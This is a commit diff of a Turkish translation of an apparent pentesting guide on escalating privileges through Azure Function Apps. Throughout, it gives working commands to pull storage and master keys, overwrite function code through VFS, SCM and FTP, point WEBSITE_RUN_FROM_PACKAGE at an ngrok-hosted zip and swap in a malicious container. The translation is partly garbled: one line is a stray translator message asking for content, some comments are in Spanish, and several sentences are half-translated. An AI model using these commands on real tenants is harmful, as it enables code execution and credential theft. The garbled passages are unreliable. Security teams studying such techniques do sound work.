Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:28:06 +00:00
parent ae36e08014
commit 377cbbb44e

View File

@@ -4,7 +4,7 @@
## Function Apps ## Function Apps
Daha fazla bilgi için aşağıdaki sayfayı kontrol edin: Daha fazla bilgi için aşağıdaki sayfayı inceleyin:
{{#ref}} {{#ref}}
../az-services/az-function-apps.md ../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
### Bucket Read/Write ### Bucket Read/Write
Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma izinleri ile **farklı konteynerler** (özel veya önceden tanımlanmış isimlerle) bulmak mümkündür; bu konteynerler **fonksiyon tarafından yürütülen kodu** içerebilir. Fonksiyon verilerini depolayan Storage Account içindeki container'ları okuma izinleriniz varsa, **farklı container'lar** (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar **fonksiyon tarafından çalıştırılan kodu** içerebilir.
Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda, eğer üzerinde yazma izinleriniz varsa, fonksiyonu herhangi bir kodu yürütmesi için ayarlayabilir ve fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltebilirsiniz. Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities'in ayrıcalıklarını yükseltebilirsiniz.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Fonksiyonun kodu genellikle bir dosya paylaşımında saklanır. Yeterli erişim ile kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkündür; bu da fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltmeyi sağlar. Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkün olup bu, Function'a bağlı managed identities'in ayrıcalıklarını yükseltmeye olanak tanır.
Bu dağıtım yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları alabilirsiniz. This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
Bu yapılandırmalar, Fonksiyonun koda erişmek için kullanabileceği **Storage Account Key**'ni içerecektir. Bu konfigürasyonlar, Function'ın koda erişmek için kullanabileceği **Storage Account Key**'i içerecektir.
> [!CAUTION] > [!CAUTION]
> Dosya Paylaşımına bağlanmak ve **script'i değiştirmek** için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. > File Share'a bağlanmak ve çalışan **modify the script** üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir.
Aşağıdaki örnek, dosya paylaşımına bağlanmak için macOS kullanmaktadır, ancak dosya paylaşımları hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol etmeniz önerilir: Aşağıdaki örnek, file share'a bağlanmak için macOS kullanmaktadır; ancak file share'ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir:
{{#ref}} {{#ref}}
../az-services/az-file-shares.md ../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
``` ```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Fonksiyon uygulamasının kullandığı Storage Account konteynerinin `function-releases` klasöründe **zip sürümlerini** bulmak da yaygındır, bu klasör genellikle **`function-releases`** olarak adlandırılır. Ayrıca, function app'in kullandığı Storage Account konteynerindeki `function-releases` klasörü içinde **zip sürümlerini** bulmak da yaygındır; konteyner genellikle **`function-releases`** olarak adlandırılır.
Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` yapılandırmasını ayarlayacaktır: Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` konfigürasyonunu şu yerde ayarlar:
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
Bu yapılandırma genellikle **Storage Account'tan kodu indirmek için bir SAS URL'si** içerecektir. This config will usually contain a **SAS URL to download** the code from the Storage Account.
> [!CAUTION] > [!CAUTION]
> **Zip içinde kodu içeren** blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları artırmak mümkündür. > Yeterli izinle, **contains the code in zip** içeren blob container'a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Önceki durumda olduğu gibi, dağıtım Github Actions aracılığıyla yapıldığında, **`github-actions-deploy`** adlı klasörü bulmak mümkündür; bu klasör, kodun bir zip'ini ve `WEBSITE_RUN_FROM_PACKAGE` ayarındaki zip için bir SAS URL'sini içerir. Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip'ini içeren **`github-actions-deploy`** klasörünü ve zip için `WEBSITE_RUN_FROM_PACKAGE` ayarında bulunan bir SAS URL'sini bulmak mümkündür.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) - **`scm-releases`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`)
Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma iznine sahip olduğunuzda, **`scm-releases`** konteynerini bulmak mümkündür. Orada, **Squashfs dosya sistemi dosya formatında** en son sürümü bulmak ve dolayısıyla fonksiyonun kodunu okumak mümkünr: Function verilerini saklayan Storage Account içindeki container'ları okuma iznine sahip olunduğunda **`scm-releases`** container'ını bulmak mümkündür. Orada en son release'in **Squashfs filesystem file format** halinde olduğu bulunabilir ve dolayısıyla Function'ın kodunu okumak mümkün olur:
```bash ```bash
# List containers inside the storage account of the function app # List containers inside the storage account of the function app
az storage container list \ az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
``` ```
Ayrıca, **`<app-name>`** klasörü içindeki **`azure-webjobs-secrets`** konteynerinde depolanan **master ve functions anahtarlarını** bulmak da mümkündür. Ayrıca storage account içinde, container'daki **`azure-webjobs-secrets`** altında yer alan **`<app-name>`** klasöründeki JSON dosyalarında **master ve functions anahtarlarını** bulmak da mümkündür.
> [!CAUTION] > [!CAUTION]
> **Zip uzantılı bir dosyada** (aslında bir **`squashfs`** olan) kodu içeren blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. > Kodun bir **zip extension file** içinde bulunduğu blob container'a bağlanmak için yeterli izin varsa (aslında bir **`squashfs`**), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
```bash ```bash
# Modify code inside the script in /tmp/fs adding your code # Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
``` ```
### `Microsoft.Web/sites/host/listkeys/action` ### `Microsoft.Web/sites/host/listkeys/action`
Bu izin, belirtilen işlevin işlev, ana ve sistem anahtarlarını listelemeye izin verir, ancak ana anahtarı listelemez: Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir:
```bash ```bash
az functionapp keys list --resource-group <res_group> --name <func-name> az functionapp keys list --resource-group <res_group> --name <func-name>
``` ```
Ana anahtarı ile, bir URL'deki kaynak koduna erişmek de mümkündür: master key ile ayrıca şu gibi bir URL'den kaynak kodunu almak da mümkündür:
```bash ```bash
# Get "script_href" from # Get "script_href" from
az rest --method GET \ az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access # Access
curl "<script-href>?code=<master-key>" curl "<script-href>?code=<master-key>"
## Python example: # Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
``` ```
Ve **işlevde yürütülen kodu değiştirmek** için: Ve fonksiyonda **çalıştırılan kodu değiştirmek** için:
```bash ```bash
# Set the code to set in the function in /tmp/function_app.py # Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example ## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \ --data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-H "If-Match: *" \ -H "If-Match: *" \
-v -v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
``` ```
### `Microsoft.Web/sites/functions/listKeys/action` ### `Microsoft.Web/sites/functions/listKeys/action`
Bu izin, belirtilen işlevin anahtarını almak için kullanılır: Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar:
```bash ```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01" az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
``` ```
Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write` ### `Microsoft.Web/sites/host/functionKeys/write`
Bu izin, belirtilen işlevin bir işlev anahtarını oluşturmasına/güncellemesine olanak tanır: Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
### `Microsoft.Web/sites/host/masterKey/write` ### `Microsoft.Web/sites/host/masterKey/write`
Bu izin, belirtilen işlev için bir anahtar oluşturmayı/güncellemeyi sağlar: Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
> [!CAUTION] > [!CAUTION]
> Bu anahtar ile daha önce açıklandığı gibi kaynak koda erişebilir ve onu değiştirebilirsiniz! > Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın!
### `Microsoft.Web/sites/host/systemKeys/write` ### `Microsoft.Web/sites/host/systemKeys/write`
Bu izin, belirtilen işlev için bir sistem işlev anahtarı oluşturmayı/güncellemeyi sağlar: Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
Çeviriye başlamam için lütfen "Use the key:" sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam.
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action` ### `Microsoft.Web/sites/config/list/action`
Bu izin, bir fonksiyonun ayarlarını almayı sağlar. Bu yapılandırmaların içinde, **FULL izinlerle fonksiyonun blob depolamasına erişmek için bir hesap anahtarı içeren** **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** varsayılan değerlerini bulmak mümkün olabilir. Bu izin bir function'ın ayarlarını almayı sağlar. Bu yapılandırmalar içinde varsayılan değerler **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** bulunabilir; bunlar function'ın blob storage'ına **TAM izinlerle erişmek için bir hesap anahtarı** içerir.
```bash ```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group> az functionapp config appsettings list --name <func-name> --resource-group <res-group>
``` ```
Ayrıca, bu izin **SCM kullanıcı adı ve şifresini** (eğer etkinse) almak için de kullanılabilir: Ayrıca, bu izin (etkinse) **SCM username and password**'i şu komutla almayı sağlar:
```bash ```bash
az rest --method POST \ az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01" --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
``` ```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeye ve **bu değerleri değiştirmeye** olanak tanır. Bu, bu ayarların, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için faydalıdır. Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca **bu değerleri değiştirmeyi** sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır.
Bu nedenle, bir web uygulaması içinde çalıştırılacak yeni kodu içeren bir URL zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür: Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür:
- Mevcut yapılandırmayı alarak başlayın - Önce mevcut config'i alın
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-name> --resource-group <res-name>
``` ```
- Çalıştırmak istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın. - Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın.
```bash ```bash
# Write inside /tmp/web/function_app.py the code of the function # Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example # Serve it using ngrok for example
ngrok http 8000 ngrok http 8000
``` ```
- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna **`WEBSITE_RUN_FROM_PACKAGE`** konfigürasyonunu ekleyin, bu konfigürasyon kodu içeren **zip** dosyasının URL'sine işaret etmelidir. - Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren **zip**'e işaret eden URL'yi gösteren **`WEBSITE_RUN_FROM_PACKAGE`** ayarını ekleyin.
Aşağıda, **kendi ayarlarımın** bir örneği bulunmaktadır, değerleri **sizin için** değiştirmeniz gerekecek, sonunda `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin, bu benim uygulamayı barındırdığım yerdir. Aşağıda benim **kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek)** yer almaktadır; sondaki `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin uygulamayı burada barındırıyordum.
```bash ```bash
# Modify the function # Modify the function
az rest --method PUT \ az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
``` ```
### `Microsoft.Web/sites/hostruntime/vfs/write` ### `Microsoft.Web/sites/hostruntime/vfs/write`
Bu izinle, bir uygulamanın kodunu **web konsolu aracılığıyla** (veya aşağıdaki API uç noktası aracılığıyla) değiştirmek **mümkündür**: Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu **değiştirmek mümkündür**:
```bash ```bash
# This is a python example, so we will be overwritting function_app.py # This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function # Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body --body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
``` ```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Bu izinler, temel olarak **temel kimlik doğrulama kimlik bilgilerini** içeren tüm yayın profillerini listelemeye olanak tanır: Bu izin, temelde **basic auth credentials** içeren tüm publishing profiles'i listelemeye olanak tanır:
```bash ```bash
# Get creds # Get creds
az functionapp deployment list-publishing-profiles \ az functionapp deployment list-publishing-profiles \
@@ -234,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \ --resource-group <res-name> \
--output json --output json
``` ```
Başka bir seçenek, kendi kimlik bilgilerinizi ayarlamak ve bunları kullanmaktır: Bir diğer seçenek kendi creds'inizi ayarlamak ve bunları kullanmak olacaktır:
```bash ```bash
az functionapp deployment user set \ az functionapp deployment user set \
--user-name DeployUser123456 g \ --user-name DeployUser123456 g \
@@ -242,7 +282,7 @@ az functionapp deployment user set \
``` ```
- Eğer **REDACTED** kimlik bilgileri - Eğer **REDACTED** kimlik bilgileri
Eğer bu kimlik bilgilerini **REDACTED** olarak görüyorsanız, bunun nedeni **SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne ihtiyacınız var (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görüyorsanız, bunun nedeni **SCM basic authentication option'ı etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız vardır.
```bash ```bash
# Enable basic authentication for SCM # Enable basic authentication for SCM
az rest --method PUT \ az rest --method PUT \
@@ -264,7 +304,7 @@ az rest --method PUT \
``` ```
- **Method SCM** - **Method SCM**
Sonra, **bu temel kimlik bilgileri ile fonksiyon uygulamanızın SCM URL'sine** erişebilir ve env değişkenlerinin değerlerini alabilirsiniz: Ardından, bu **basic auth credentials to the SCM URL** ile function app'inizin SCM URL'sine erişebilir ve env variables değerlerini alabilirsiniz:
```bash ```bash
# Get settings values # Get settings values
curl -u '<username>:<password>' \ curl -u '<username>:<password>' \
@@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \ curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy https://<app-name>.scm.azurewebsites.net/api/zipdeploy
``` ```
_Not edin ki **SCM kullanıcı adı** genellikle "$" karakteri ile uygulama adının takip eden kısmıdır, yani: `$<app-name>`._ _Not: **SCM kullanıcı adı** genellikle "$" karakteri ile başlayıp uygulama adıyla devam eder, yani: `$<app-name>`._
Web sayfasına `https://<app-name>.scm.azurewebsites.net/BasicAuth` adresinden de erişebilirsiniz. Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Ayar değerleri, fonksiyon uygulamasının verilerini depolayan depolama hesabının **AccountKey**'sini içerir ve bu depolama hesabını kontrol etmeye olanak tanır. Ayar değerleri, function app'in verilerini depolayan storage account'un **AccountKey**'ini içerir; bu da o storage account'u kontrol etmenize olanak tanır.
- **Yöntem FTP** - **Yöntem FTP**
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
``` ```
_Not edin ki **FTP kullanıcı adı** genellikle \<app-name>\\$\<app-name> formatındadır._ _Not: **FTP username** genellikle \<app-name>\\$\<app-name> formatındadır._
### `Microsoft.Web/sites/hostruntime/vfs/read` ### `Microsoft.Web/sites/hostruntime/vfs/read`
Bu izin, VFS aracılığıyla uygulamanın **kaynak kodunu okumaya** olanak tanır: Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla **okumaya** izin verir:
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
``` ```
### `Microsoft.Web/sites/functions/token/action` ### `Microsoft.Web/sites/functions/token/action`
Bu izinle, daha sonra **master key**'i almak ve böylece fonksiyonun koduna erişip değiştirmek için kullanılabilecek [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) almak mümkünr. Bu izinle [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) alınabilir; bu token daha sonra **master key**'i elde etmek için kullanılabilir ve dolayısıyla function'ın koduna erişip onu değiştirmek mümkün olur.
Ancak, son kontrollerimde hbir token döndürülmedi, bu nedenle devre dışı bırakılmış veya artık çalışmıyor olabilir, ama işte bunu nasıl yapacağınız: Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız:
```bash ```bash
# Get admin token # Get admin token
az rest --method GET \ az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
``` ```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Bu izinler, **devre dışı bırakılmış** olabilecek fonksiyonları **etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır. Bu izin, devre dışı bırakılmış olabilecek **fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır.
```bash ```bash
# Enable a disabled function # Enable a disabled function
az functionapp config appsettings set \ az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \ --resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false" --settings "AzureWebJobs.http_trigger1.Disabled=false"
``` ```
Aşağıdaki URL'de bir fonksiyonun etkin veya devre dışı olup olmadığını görmek de mümkündür (parantez içindeki izinleri kullanarak): Aşağıdaki URL'de bir function'ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak):
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01" az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
``` ```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Bu izinlerle, **bir konteyneri çalıştırmak üzere yapılandırılmış bir fonksiyon uygulaması tarafından çalıştırılan konteyneri değiştirmek** mümkündür. Bu, bir saldırganın kötü niyetli bir azure fonksiyon konteyner uygulamasını docker hub'a (örneğin) yüklemesine ve fonksiyonun bunu çalıştırmasına olanak tanır. Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **bir function app tarafından çalıştırılan container'ı değiştirmek** mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app'i (örneğin docker hub'a) yüklemesine ve function'ın bunu çalıştırmasını sağlamasına izin verir.
```bash ```bash
az functionapp config container set --name <app-name> \ az functionapp config container set --name <app-name> \
--resource-group <res-group> \ --resource-group <res-group> \
@@ -343,7 +383,7 @@ az functionapp config container set --name <app-name> \
``` ```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Bu izinlerle, **bir işleve yeni bir kullanıcı yönetilen kimlik eklemek** mümkündür. Eğer işlev tehlikeye atıldıysa, bu herhangi bir kullanıcı yönetilen kimliğine yetki yükseltmeye olanak tanır. Bu izinlerle bir function'a **attach a new user managed identity** yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity'ye **escalate privileges** yapılmasına olanak tanır.
```bash ```bash
az functionapp identity assign \ az functionapp identity assign \
--name <app-name> \ --name <app-name> \
@@ -352,20 +392,20 @@ az functionapp identity assign \
``` ```
